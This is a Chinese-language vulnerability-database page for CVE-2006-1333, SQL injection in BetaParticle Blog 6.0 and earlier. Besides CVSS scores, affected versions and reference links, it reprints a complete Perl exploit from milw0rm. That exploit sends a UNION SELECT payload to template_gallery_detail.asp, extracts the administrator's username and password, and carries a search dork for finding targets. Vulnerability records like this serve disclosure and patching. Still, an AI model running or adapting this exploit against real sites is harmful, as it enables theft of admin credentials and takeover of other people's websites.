CVE-2006-1333
CVSS6.4
发布时间 :2006-03-20 20:06:00
修订时间 :2011-03-07 21:32:49
NMCOE    

[原文]Multpile SQL injection vulnerabilities in BetaParticle Blog 6.0 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) id parameter to template_permalink.asp or (2) fldGalleryID parameter to template_gallery_detail.asp.


[CNNVD]BetaParticle博客多个SQL注入漏洞(CNNVD-200603-351)

        在BetaParticle Blog 6.0及其早期版本中存在多个SQL注入漏洞,远程攻击者可通过以下途径执行任意SQL命令:(1)用于template_permalink.asp的id参数或(2)用于template_gallery_detail.asp的fldGalleryID参数。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:betaparticle:betaparticle_blog:5.0
cpe:/a:betaparticle:betaparticle_blog:4.0
cpe:/a:betaparticle:betaparticle_blog:6.0
cpe:/a:betaparticle:betaparticle_blog:3.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1333
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1333
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-351
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/19292
(VENDOR_ADVISORY)  SECUNIA  19292
http://www.vupen.com/english/advisories/2006/1000
(UNKNOWN)  VUPEN  ADV-2006-1000
http://www.securityfocus.com/bid/17148
(UNKNOWN)  BID  17148
http://www.securityfocus.com/archive/1/428082
(UNKNOWN)  BUGTRAQ  20060318 Advisory: BetaParticle Blog <= 6.0 Multiple Remote SQL InjectionVulnerabilities
http://www.nukedx.com/?viewdoc=20
(UNKNOWN)  MISC  http://www.nukedx.com/?viewdoc=20
http://blog.betaparticle.com/UserFiles/File/6fix.txt
(UNKNOWN)  CONFIRM  http://blog.betaparticle.com/UserFiles/File/6fix.txt
http://xforce.iss.net/xforce/xfdb/25327
(UNKNOWN)  XF  bpblog-multiple-sql-injection(25327)
http://www.osvdb.org/23966
(UNKNOWN)  OSVDB  23966
http://www.osvdb.org/23965
(UNKNOWN)  OSVDB  23965
http://securitytracker.com/id?1015788
(UNKNOWN)  SECTRACK  1015788
http://securityreason.com/securityalert/600
(UNKNOWN)  SREASON  600

- 漏洞信息

BetaParticle博客多个SQL注入漏洞
中危 SQL注入
2006-03-20 00:00:00 2006-03-21 00:00:00
远程  
        在BetaParticle Blog 6.0及其早期版本中存在多个SQL注入漏洞,远程攻击者可通过以下途径执行任意SQL命令:(1)用于template_permalink.asp的id参数或(2)用于template_gallery_detail.asp的fldGalleryID参数。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1589)

BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit (EDBID:1589)
asp webapps
2006-03-18 Verified
0 nukedx
N/A [点击下载]
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-20\r\n";
  print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to BetaParticle ex: /blog\r\n";
  exit();
}
sub exploit () {
  #Our variables...
  $bpserver = $ARGV[0];
  $bpserver =~ s/(http:\/\/)//eg;
  $bphost   = "http://".$bpserver;
  $bpdir    = $ARGV[1];
  $bpport   = "80";
  $bptar    = "template_gallery_detail.asp?fldGalleryID=";
  $bpfinal  = "main.asp";
  $bpxp     = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;
  #Sending data...
  header();
  print "- Trying to connect: $bpserver\r\n";
  $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n";
  print $bp "GET $bpreq HTTP/1.1\n";
  print $bp "Accept: */*\n";
  print $bp "Referer: $bphost\n";
  print $bp "Accept-Language: tr\n";
  print $bp "User-Agent: NukeZilla 4.3\n";
  print $bp "Cache-Control: no-cache\n";
  print $bp "Host: $bpserver\n";
  print $bp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$bp>) {
    if ($answer =~ /<h3>(.*?)<\/h3>/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- Username: $1\r\n";
    }
    if ($answer =~ /<p>(.*?)<\/p>/) {
      print "- Password: $1\r\n";
      print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of BetaParticle is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-18]
		

- 漏洞信息

23965
betaparticle BP Blog template_gallery_detail.asp fldGalleryID Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

BP Blog contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the template_gallery_detail.asp script not properly sanitizing user-supplied input to the 'fldGalleryID' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-18 Unknow
2006-03-18 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, betaparticle.com has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站